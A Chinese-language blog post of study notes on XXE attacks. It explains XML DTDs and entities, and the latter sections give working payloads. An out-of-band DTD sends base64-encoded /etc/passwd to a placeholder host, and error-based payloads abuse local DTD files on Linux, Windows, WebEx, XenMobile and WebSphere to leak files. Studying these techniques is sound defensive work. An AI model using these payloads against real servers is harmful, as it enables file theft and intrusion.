Learning Man's Blog

XXE 小结

字数统计: 1.8k阅读时长: 7 min
2018/12/19

0x01 简介

先搬上先知的一段总结


i. XML

XML是类似HTML的标记语言,但它们有所不同。

  • 其一,HTML用于表现数据,关注数据的表现形式,XML用于存储和传输数据,关注数据本身。
  • 其二,HTML的标签是预定义的,而XML的标签是自定义的,或者说,任意的。
  • 此外,XML语法更严格,其标签必须闭合且正确嵌套,大小写敏感,属性值必须加引号,保留连续空白符。
  • <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

ii. DTD

XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义了五个实体引用,即用&lt; &gt; &amp; &apos; &quot; 替换 < > & ' "

实际上,实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

DTD有两种形式:

内部 DTD:
    <!DOCTYPE 根元素 [元素声明]>
外部 DTD:
    <!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]>
    <!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">
( PUBLIC表示 DTD文件是公共的,解析器先分析 DTD名称,没查到再去访问 URI)

iii. ENTITY

我们可以在元素声明中自定义实体,和DTD类似也分为内部实体外部实体,此外还有普通实体参数实体之分:

声明

<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
除了 SYSTEM关键字外,外部实体还可用 PUBLIC关键字声明。
URL 支持的协议

引用

&普通实体名; //经实验,普通实体既可以在 DTD 中,也可以在 XML 中引用,可以在声明前引用,可以在在元素声明内部引用
%参数实体名; //经实验,参数实体只能在 DTD 中引用,不能在声明前引用,不能在元素声明内部引用

注意事项

  1. 外部 DTD 中,如果外部(普通|参数)实体中想要引用内部参数实体,需要在此实体上层添加内部(普通|参数)实体声明,并先引用上层内部实体

    原因可能是在内部实体中引用会将值解析进去,而外部实体只会直接请求 URL 字符串,不解析其中的引用

     外部 test.dtd 文件
     <!------- Failure ------->
     <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
     <!ENTITY % send SYSTEM "http://xxx/?%file;">
     %send;
    
     <!------- Success ------->
     <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
     <!ENTITY % top ' 
         <!ENTITY &#x25; send SYSTEM "http://xxx/?%file;">
         '>
     %top;
     %send;
  2. 在内部 DTD 中,不能在实体声明中出现实体引用

     <!------- Failure ------->
     <?xml version="1.0" encoding="utf-8"?> 
     <!DOCTYPE xxe [
     <!ENTITY % in "123">
     <!ENTITY % out "%in;">
     %out;
     ]>

    会报错 PEReferences forbidden in internal subset in Entity,XML 文档中对此有所提及

    Well-formedness constraint: PEs in Internal Subset

    In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)

iv. 可能造成的危害

  • 本地文件读取
  • 内网访问,主机/端口扫描
  • 网络访问
  • 系统命令执行(特定协议,如PHP的expect)
  • 拒绝服务(嵌套引用,指数爆炸)

v. Libxml 与 PHP

自 libxml 2.9.0 以后,开始默认禁止解析外部实体,与 PHP 版本没有根本性关系

v2.9.5: Sep 04 2017
    Security:Detect infinite recursion in parameter entities (Nick Wellnhofer)
    Prevent unwanted external entity reference
v2.9.2: Oct 16 2014
    Security:
    Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
    CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
2.9.1: Apr 19 2013
    Activate detection of encoding in external subset
2.9.0: Sep 11 2012
    Do not fetch external parsed entities

0x02 OOB XXE

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % load SYSTEM "http://xxx/external.dtd">
%load;
]>

external.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % top ' 
    <!ENTITY &#x25; send SYSTEM "http://xxx/?%file;">
'>
%top;
%send;

0x03 Error XXE

通常用于无法访问外网,加载自定义外部 DTD 时候采用,需要服务器开启相关报错

i. Local DTD

作者假设在服务器内发现一个sip-app_1_0.dtd文件,其内容如下

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

作者payload,通过替换%condition;值,由于是由payload发起调用dtd,所以在有两个同名实体的情况下,以第一个为主,即payload中的声明为主

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

本地 DTD 文件

作者发现了几个常见的本地 DTD 文件

Linux 系统

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows系统

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

思科WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile服务器

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台IBM WebSphere应用

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

ii. Without Local DTD

来自于 P 牛的知识星球,貌似在嵌套实体中,可以在标记声明中出现内部参数引用?

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % NUMBER '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>
    %NUMBER;
]>
<message>any text</message>

参考资料

  1. http://docs.ioin.in/writeup/mohemiv.com/_all_exploiting_xxe_with_local_dtd_files_/index.html
  2. https://xz.aliyun.com/t/2571
  3. https://articles.zsxq.com/id_85l86vkeu8zf.html
CATALOG
  1. 1. 0x01 简介
  2. 2. 0x02 OOB XXE
  3. 3. 0x03 Error XXE
  4. 4. 参考资料